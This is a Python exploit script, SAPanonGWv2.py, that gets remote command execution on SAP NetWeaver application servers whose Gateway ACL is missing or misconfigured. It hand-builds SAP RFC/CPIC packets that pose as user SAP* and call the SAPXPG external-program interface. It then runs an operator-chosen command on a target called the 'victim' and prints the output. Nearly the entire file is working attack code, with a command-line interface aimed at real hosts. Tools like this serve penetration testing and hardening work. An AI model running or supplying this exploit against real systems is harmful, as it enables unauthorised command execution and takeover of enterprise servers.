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SAPanonGWv2.py
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#!/usr/bin/env python
# Dmitry @_chipik Chastuhin
from pysap.SAPRFC import SAPRFC, SAPRFCDTStruct, SAPCPIC, SAPRFCTHStruct, SAPRFXPG, SAPCPICSUFFIX, cpic_padd, SAPCPICPARAM, SAPCPICPARAM2, SAPRFCEXTEND, SAPCPIC2, SAPRFXPG_END
from ansicolor import red, green, blue, yellow, cyan, magenta
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
from pysap.SAPDiag import SAPDiag, SAPDiagItem
from scapy.supersocket import StreamSocket
from scapy.layers.inet import TCP
from scapy.packet import bind_layers, Raw
from scapy.all import hexdump, raw
from scapy.config import conf
from struct import *
import argparse
import logging
import socket
import sys
help_desc = '''
RCE via SAP GW when GW ACL sec_info missed (gw/acl_mode = 0) or has insecure configuration
-- chipik
'''
#####GLOBAL VALUES
cmd_lparams=''
cmd_params=''
# that's our target we want to pwn
attacked_gw = {"ip": '127.0.0.1',
"gwport": 3300,
"sid": 'DEV',
"instance": '00',
"hostname": 'NW703trial',
"dest_name": 'T_75',
"cli_nbr": '001',
"kernel": '720'
}
##########
def build_p1(ip, inbr):
p1 = SAPRFC(version=2,
req_type='GW_NORMAL_CLIENT',
address=ip,
service='sapgw{}'.format(inbr),
codepage=4103,
lu='sapserve',
tp='sapgw{}'.format(inbr),
conversation_id=' ' * 8,
appc_header_version=6,
accept_info='EINFO+PING+CONN_EINFO',
idx=-1,
)
return p1
def build_p2():
dt_structure = SAPRFCDTStruct(version=96,
padd1='\x00\x00\x00\x00\x00\x00\x00\x00',
root_id='\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00',
conn_id='\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0',
conn_id_suff=0,
timeout=-1,
keepalive_timeout=-1,
export_trace=2,
start_type='DEFAULT',
net_protocol=10,
local_addrv6='::{}'.format(attacked_gw['ip']),
long_lu=attacked_gw['ip'],
padd3='\x00' * 16,
user='SAP*',
padd4='\x20' * 8,
padd5='\x00' * 4,
padd6='\x20' * 12,
padd7='\x00' * 16,
addr_ipv4=attacked_gw['ip'],
padd8='\x00' * 4,
long_tp='sapxpg',
)
ext_inf = SAPRFCEXTEND(short_dest_name=attacked_gw['dest_name'],
ncpic_lu='172.16.0',
ncpic_tp='sapxpg',
ctype='STARTED_PRG',
clientInfo=1,
ncpic_parameters_padd='\x00\x00',
comm_idx=0,
conn_idx=65535,
)
p2 = SAPRFC(version=6,
func_type='F_SAP_INIT',
protocol='CPIC',
mode=0,
uid=19,
gw_id=65535,
err_len=0,
info2='WITH_LONG_LU_NAME',
trace_level=0,
time=0,
info3='GW_EXTENDED_INIT_OPTIONS+GW_DIST_TRACE',
timeout=-1,
info4=0,
seq_no=0,
sap_param_len=len(dt_structure),
info='SYNC_CPIC_FUNCTION+WITH_HOSTADDR+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
padd_appc=0,
vector=0,
appc_rc='CM_OK',
sap_rc=0,
sap_ext_header =ext_inf,
sap_param=dt_structure,
)
#p2.show2()
return p2
def buld_p3(conv_id):
cpic_suf = SAPCPICSUFFIX(
suff_padd1='\x10\x04\x02',
suff_unk1='\x00\x01\x87\x68\x00\x00\x04\x4c\x00\x00\x0b\xb8',
suff_padd2='\x10\x04\x0b',
suff_unk2='\xff\x7f\xfa\x0d\x78\xb7\x27\xde\xf6\x19\x62\x93\x25\xbf\x15\x93\xef\x73\xfe\xeb\xdb\x51\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00',
suff_padd3='\x10\x04\x04',
suff_unk3='\x00\x16\x00\x07\x00\x10\x00\x07',
suff_padd4='\x10\x04\x0d',
suff_unk4='\x00\x00\x00\x27\x00\x00\x01\x0c\x00\x00\x00\x35\x00\x00\x01\x0c',
suff_padd5='\x10\x04\x16',
suff_unk5='\x00\x11',
suff_padd6='\x10\x04\x17',
suff_unk6='\x00\x22',
suff_padd7='\x10\x04\x19',
suff_unk7='\x00\x00',
suff_padd8='\x10\x04\x1e',
suff_unk8='\x00\x00\x03\x67\x00\x00\x07\x58',
suff_padd9='\x10\x04\x25',
suff_unk9='\x00\x01',
suff_padd10k='\x10\x04\x09',
suff_kernel=attacked_gw['kernel'],
suff_padd10='\x10\x04\x1d',
suff_unk10='\x30',
suff_padd11='\x10\x04\x1f',
suff_cli1='Windows 7 Professional 6.1 (7601) Servic',
suff_padd12='\x10\x04\x20',
suff_cli2='IE 9.10.9200.16618',
suff_padd13='\x10\x04\x21',
suff_cli3='Office 12',
suff_padd14='\x10\x04\x24',
suff_unk14='\x00\x00\x04\x1a\x00\x00\x07\x80',
suff_padd15='\x10\x04\x13',
suff_unk15='\x02\xe1\xd4\x81\xe3\x0b\x21\xf1\x01\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x01\x37\xd5\x81\xe3\x88\x9a\xf1\x6b\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x00',
)
xpg = SAPRFXPG(
xpg_padd100='\x05\x12\x02\x05',
xpg_convid_l='CONVID',
xpg_padd101='\x02\x05\x02\x05',
xpg_strstat_l='STRTSTAT',
xpg_padd102='\x02\x05\x02\x05',
xpg_xpgid_l='XPGID',
xpg_padd103='\x02\x05\x02\x01',
xpg_extprog_l='EXTPROG',
xpg_padd104='\x02\x01\x02\x03',
xpg_extprog_val='{: <128}'.format(cmd),
xpg_padd105='\x02\x03\x02\x01',
xpg_longparam_l='LONG_PARAMS',
xpg_padd106='\x02\x01\x02\x03',
xpg_longparam_val='{: <1024}'.format(cmd_lparams),
xpg_padd107='\x02\x03\x02\x01',
xpg_param_l='PARAMS',
xpg_padd108='\x02\x01\x02\x03',
xpg_param_val='{: <255}'.format(cmd_params),
xpg_padd109='\x02\x03\x02\x01',
xpg_stderrcntl_l='STDERRCNTL',
xpg_padd110='\x02\x01\x02\x03',
xpg_stderrcntl_val='M',
xpg_padd111='\x02\x03\x02\x01',
xpg_stdincntl_l='STDINCNTL',
xpg_padd112='\x02\x01\x02\x03',
xpg_stdincntl_val='R',
xpg_padd113='\x02\x03\x02\x01',
xpg_stdoutcntl_l='STDOUTCNTL',
xpg_padd114='\x02\x01\x02\x03',
xpg_stdoutcntl_val='M',
xpg_padd115='\x02\x03\x02\x01',
xpg_termcntl_l='TERMCNTL',
xpg_padd116='\x02\x01\x02\x03',
xpg_termcntl_val='C',
xpg_padd117='\x02\x03\x02\x01',
xpg_tracecntl_l='TRACECNTL',
xpg_padd118='\x02\x01\x02\x03',
xpg_tracecntl_val='6',
xpg_padd119='\x02\x03\x03\x01',
xpg_log_l='LOG',
xpg_padd120='\x03\x01\x03\x30',
xpg_log_val1='\x00\x00\x00\x01',
xpg_padd121='\x03\x30\x03\x02',
xpg_unk1='\x00\x00\x00\x80\x00\x00\x00\x00',
)
cpic_params = SAPCPICPARAM(
param1='\x00\x99\xd0\x1e',
param2='\xe3\xa0\xba\x9a\xec\xea\x55\x80\x0a\x4e\xd5',
param_sess_1='\x81\xe3', # session 1st part?
param_sess_2='\x09\xf6\xf1\x18', # session 2nd part?
mask='225.0.0.0',
ip= attacked_gw['ip'],
flag=1,
)
cpic_params2 = SAPCPICPARAM2( #dunno why this values
param1='\xe3\x81\xd5\x4e\xf6\x09\x19\xf1',
mask='160.10.0.12',
ip= '41.0.153.208',
)
th = SAPRFCTHStruct(
th_eyec1="*TH*",
th_version=3,
th_len=230,
th_trace_flag=0,
th_sysid='{}/{}_{}_{}'.format(attacked_gw["sid"], attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
th_serevice=1,
th_userid='SAP*',
th_action='SM49',
th_acttype=1,
th_presysid='{}/{}_{}_{}'.format(attacked_gw["sid"], attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
th_id='37D581E3889AF16DA00A000C290099D0001',
th_some_cpic_params=cpic_params,
th_eyec2="*TH*",
)
cpic = SAPCPIC(
cpic_start_padd='\x01\x01\x00\x08',
cpic_cpic_length=257,
cpic_padd0003="\x01\x01\x01\x01",
cpic_unk02="",
cpic_padd0002="\x01\x01\x01\x03",
cpic_unk01="\x00\x00\x06\x1b",
cpic_padd0001="\x01\x03\x01\x06",
cpic_unk00="\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23",
cpic_padd001="\x01\x06\x00\x07",
cpic_ip='{: <15}'.format(attacked_gw['ip']),
cpic_padd002 = '\x00\x07\x00\x18',
cpic_ip2=attacked_gw['ip'],
cpic_padd003 = '\x00\x18\x00\x08',
cpic_host_sid_inbr='{}_{}_{}'.format(attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
cpic_padd004 = '\x00\x08\x00\x11',
cpic_rfc_type='3',
cpic_padd005 = '\x00\x11\x00\x13',
cpic_kernel1 = '{} '.format(attacked_gw['kernel']),
cpic_padd006='\x00\x13\x00\x12',
cpic_kernel2='{} '.format(attacked_gw['kernel']),
cpic_padd007='\x00\x12\x00\x06',
cpic_dest=attacked_gw['dest_name'],
cpic_padd008='\x00\x06\x01\x30',
cpic_program='SAPLSSXP',
cpic_padd009='\x01\x30\x01\x11',
cpic_username1='SAP*',
cpic_padd010='\x01\x11\x01\x14',
cpic_cli_nbr1=attacked_gw['cli_nbr'],
cpic_padd011='\x01\x14\x01\x15',
cpic_unk1='E',
cpic_padd012='\x01\x15\x00\x09',
cpic_username2='SAP*',
cpic_padd013='\x00\x09\x01\x34',
cpic_cli_nbr2=attacked_gw['cli_nbr'],
cpic_padd014='\x01\x34\x05\x01',
cpic_unk2='\x01',
cpic_padd015_0='\x05\x01',# <----
cpic_padd015_1='\x01\x36',# <----
some_cpic_params=cpic_params,
cpic_padd016='\x01\x36\x05\x02',
cpic_convid_label='',
cpic_padd017='\x05\x02\x00\x0b',
cpic_kernel3=attacked_gw['kernel'],
cpic_padd018='\x00\x0b\x01\x02',
cpic_RFC_f='SAPXPG_START_XPG_LONG',
cpic_padd019='\x01\x02\x05\x03',
cpic_unk4='',
cpic_padd020='\x05\x03\x01\x31',
cpic_th_struct=th,
cpic_padd021='\x01\x31\x05\x14',
some_cpic_params2=cpic_params2,
cpic_padd022='\x05\x14\x04\x20',
cpic_unk6='\x00\x00\x00\x00',
cpic_padd023='\x04\x20\x05\x12',
cpic_unk7='',
xpg_p=xpg,
cpic_padd024='\x03\x02\x01\x04',
cpic_suff=cpic_suf,
cpic_end_padd = '\x01\x04\xff\xff',
cpic_end = '',
cpic_end_sig='\xff\xff\x00\x00',
)
p3 = SAPRFC(version=6,
func_type='F_SAP_SEND',
protocol='CPIC',
mode=0,
uid=19,
gw_id=1,
err_len=0,
info2=0,
trace_level=0,
time=0,
info3=0,
timeout=500,
info4=0,
seq_no=0,
sap_param_len=8,
padd_appc=0,
info='SYNC_CPIC_FUNCTION+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
vector='F_V_SEND_DATA+F_V_RECEIVE',
appc_rc='CM_OK',
sap_rc=0,
conv_id=conv_id,
cm_ok_padd='\x00'*31 + '\x02',
sap_cpic=cpic,
cpic_packet_size=len(cpic),
rfc_packet_size=28000,
)
#p3.show2()
return p3
def buld_p4(conv_id):
cpic_params = SAPCPICPARAM(
param1='\x00\x99\xd0\x1e',
param2='\xe3\xa0\xba\x9a\xec\xea\x55\x80\x0a\x4e\xd5',
param_sess_1='\x81\xe3', # session 1st part?
param_sess_2='\x09\xf6\xf1\x18', # session 2nd part?
mask='160.10.0.12',
ip= '41.0.153.208',
flag=2,
)
cpic_params2 = SAPCPICPARAM2( #dunno why this values
param1='\xe3\x81\xd5\x4e\xf6\x09\x19\xf1',
mask='160.10.0.12',
ip= '41.0.153.208',
)
sap_xpg_end = SAPRFXPG_END(
xpg_end_padd001='\x05\x12\x02\x05',
xpg_end_ecode_l='EXITCODE',
xpg_end_padd002 = '\x02\x05\x02\x05',
xpg_end_estat_l = 'STRTSTAT',
xpg_end_padd003 = '\x02\x05\x03\x01',
xpg_end_log_l = 'LOG',
xpg_end_padd004= '\x03\x01\x03\x30',
xpg_end_unk1 = '\x00\x00\x00\x01',
xpg_end_padd005 = '\x03\x30\x03\x02',
xpg_end_unk2 = '\x00\x00\x00\x80\x00\x00\x00\x00',
)
cpic_suf = SAPCPICSUFFIX(
suff_padd1='\x10\x04\x02',
suff_unk1='\x00\x01\x87\x68\x00\x00\x04\x4c\x00\x00\x0b\xb8',
suff_padd2='\x10\x04\x0b',
suff_unk2='\xff\x7f\xfa\x0d\x78\xb7\x27\xde\xf6\x19\x62\x93\x25\xbf\x15\x93\xef\x73\xfe\xeb\xdb\x51\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00',
suff_padd3='\x10\x04\x04',
suff_unk3='\x00\x16\x00\x07\x00\x10\x00\x07',
suff_padd4='\x10\x04\x0d',
suff_unk4='\x00\x00\x00\x27\x00\x00\x01\x0c\x00\x00\x00\x35\x00\x00\x01\x0c',
suff_padd5='\x10\x04\x16',
suff_unk5='\x00\x11',
suff_padd6='\x10\x04\x17',
suff_unk6='\x00\x22',
suff_padd7='\x10\x04\x19',
suff_unk7='\x00\x00',
suff_padd8='\x10\x04\x1e',
suff_unk8='\x00\x00\x03\x67\x00\x00\x07\x58',
suff_padd9='\x10\x04\x25',
suff_unk9='\x00\x01',
suff_padd10k='\x10\x04\x09',
suff_kernel=attacked_gw['kernel'],
suff_padd10='\x10\x04\x1d',
suff_unk10='\x30',
suff_padd11='\x10\x04\x1f',
suff_cli1='Windows 7 Professional 6.1 (7601) Servic',
suff_padd12='\x10\x04\x20',
suff_cli2='IE 9.10.9200.16618',
suff_padd13='\x10\x04\x21',
suff_cli3='Office 12',
suff_padd14='\x10\x04\x24',
suff_unk14='\x00\x00\x04\x1a\x00\x00\x07\x80',
suff_padd15='\x10\x04\x13',
suff_unk15='\x02\xe1\xd4\x81\xe3\x0b\x21\xf1\x01\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x01\x37\xd5\x81\xe3\x88\x9a\xf1\x6b\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x00',
)
cpic2 = SAPCPIC2(
cpic_padd015_1='\x01\x36',
some_cpic_params=cpic_params,
cpic_padd016='\x01\x36\x05\x02',
cpic_convid_label='',
cpic_padd017='\x05\x02\x00\x0b',
cpic_kernel3=attacked_gw['kernel'],
cpic_padd018 = '\x00\x0b\x01\x02',
cpic_RFC_f='SAPXPG_END_XPG',
cpic_padd019='\x01\x02\x05\x03',
cpic_unk4='',
cpic_padd021='\x05\x03\x05\x14',
some_cpic_params2=cpic_params2,
cpic_padd022='\x05\x14\x04\x20',
cpic_unk6='\x00\x00\x00\x00',
cpic_padd023='\x04\x20\x05\x12',
cpic_unk7='',
xpg_end = sap_xpg_end,
cpic_padd024='\x03\x02\x01\x04',
cpic_suff=cpic_suf,
cpic_end_padd='\x01\x04\xff\xff',
cpic_end='',
cpic_end_sig='\xff\xff\x00\x00',
)
p4 = SAPRFC(version=6,
func_type='F_SAP_SEND',
protocol='CPIC',
mode=0,
uid=19,
gw_id=1,
err_len=0,
info2=0,
trace_level=0,
time=0,
info3=0,
timeout=500,
info4=0,
seq_no=0,
sap_param_len=8,
padd_appc=0,
info='SYNC_CPIC_FUNCTION+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
vector='F_V_SEND_DATA+F_V_RECEIVE',
appc_rc='CM_OK',
sap_rc=0,
conv_id=conv_id,
cm_ok_padd='\x00' * 31 + '\x02',
sap_cpic_cut=cpic2,
cpic_packet_size=len(cpic2),
rfc_packet_size=28000,
)
#p4.show2()
return p4
def print_error(error_msg):
err = error_msg.split('\x00')
print 'Got Error!'
print 'LOCATION: {}\n' \
'ERROR: {}\n' \
'TIME: {}\n' \
'RELEASE: {}\n' \
'COMPONENT: {}\n' \
'VERSION: {}\n' \
'RC: {}\n' \
'MODULE: {}\n' \
'LINE: {}\n' \
'DETAILS: {}\n' \
'COUNTER: {}\n'.format(err[15], err[2], err[10], err[5], err[4], err[6], err[3], err[7], err[8], err[9],
err[14])
def gw_connect(gwhost, gwport, init_packet):
try:
s = SAPNIStreamSocket.get_nisocket(gwhost, gwport)
except socket.error:
logger.error("[!] Connection error to %s:%s" % (gwhost, gwport))
exit(-1)
logger.info('[+] Sending GW_NORMAL_CLIENT')
r = s.sr(init_packet)
handle_resp(r, "GW_NORMAL_CLIENT")
return s
def init_logger(logname, level):
# generic log conf
logger = logging.getLogger(logname)
logger.setLevel(level)
console_format = logging.Formatter("[%(levelname)-5s] %(message)s")
# console handler
ch = logging.StreamHandler(sys.stdout)
ch.setLevel(level)
ch.setFormatter(console_format)
logger.addHandler(ch)
return logger
def handle_resp(r, pkt):
logger.debug('Response on {}:\n{}'.format(pkt, r.show(dump=True)))
if r[SAPRFC].error_msg:
print_error(r[SAPRFC].error_msg)
else:
logger.info('Response: OK')
def parse_fields(pkt, lines):
result=[]
logger.debug("Starting decompression")
d = SAPDiag()
(sig, compressed_len) = unpack('>4sI', pkt[0:8])
(uncompressed_len,) = unpack('<I', pkt[8:12])
logger.debug("sig = {}, compressed_len = {}, uncompressed_len = {}".format(sig, compressed_len, uncompressed_len))
rez=d.do_decompress(pkt[8:compressed_len],uncompressed_len)
for i in range(lines):
result.append(rez[128 * i:128 * i + 128])
return result
def parce_answer(r):
resp_lines=0
resp_start=0
resp_type = 0 # if more than 62 lines than sap use compression
for field in r.repl:
if field.start_padd == '\x03\x35\x03\x02':
resp_lines=unpack('>i',r.repl[7].start_field1[4:])[0]
resp_start=r.repl.index(field)+1
if r.repl[resp_start].start_padd[2:] == '\x03\x05':
resp_type = 'compressed'
elif r.repl[resp_start].start_padd[2:] == '\x03\x04':
resp_type = 'raw'
else:
print '[!] Error. Wrong resp_type'
break
logger.debug('Response parameters:\nlines = {}\ntype = {}\n'.format(resp_lines, resp_type))
if not resp_lines and not resp_type:
print '[!] Error. resp_lines = 0 or resp_type = 0'
exit(0)
result = []
for resp in r.repl[resp_start:]:
if resp.start_padd[2:] == '\x03\x05' or resp.start_padd[2:] == '\x03\x04':
result.append(resp.start_field1)
if resp_type == 'compressed':
result=parse_fields(''.join(result),resp_lines)
return '\n'.join(result)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-t', '--ip', default='172.16.30.118', help='AS victim IP (default: 172.16.30.118)')
parser.add_argument('-p', '--port', default=3300, type=int, help='SAP gateway port (default: 3300)')
parser.add_argument('-s', '--sid', default='CL1', help='SAP victim SID (default: CL1)')
parser.add_argument('-I', '--instance', default='00', help='SAP victim targeted instance (default: 00)')
parser.add_argument('-c', '--cmd', default='whoami', help='Command that be executed')
parser.add_argument('-d', '--debug', action='store_true', help='Show debug info')
parser.add_argument('-q', '--quiet', action='store_true', help='Don\'t show any info messages')
args = parser.parse_args()
prog = 'anonGW2'
if args.quiet:
logger = init_logger(prog, logging.NOTSET)
elif args.debug:
logger = init_logger(prog, logging.DEBUG)
else:
logger = init_logger(prog, logging.INFO)
# setup our target
attacked_gw['ip'] = args.ip
attacked_gw['port'] = args.port
attacked_gw['sid'] = args.sid
attacked_gw['instance'] = args.instance
cmd = args.cmd.split()[0]
cmd_params = args.cmd[len(cmd) + 1:]
conf.L3Socket = StreamSocket
bind_layers(TCP, SAPNI)
bind_layers(SAPNI, SAPRFC)
# 1 - send GW_NORMAL_CLIENT
s = gw_connect(attacked_gw['ip'], attacked_gw['port'], build_p1(attacked_gw['ip'], attacked_gw['instance']))
# 2 - send F_SAP_INIT
logger.info("[+] Sending F_SAP_INIT")
r = s.sr(build_p2())
handle_resp(r, "F_SAP_INIT")
conv_id = r['SAPRFC'].conv_id
logger.debug('Got conv_id = {}'.format(conv_id))
# 3 - send F_SAP_SEND
logger.info("[+] Sending F_SAP_SEND")
r = s.sr(buld_p3(conv_id))
#handle_resp(r, "F_SAP_SEND")
# 4 - send F_SAP_SEND2
logger.info("[+] Sending F_SAP_SEND2")
r = s.sr(buld_p4(conv_id))
#handle_resp(r, "F_SAP_SEND2")
# 5 - print result
print parce_answer(r)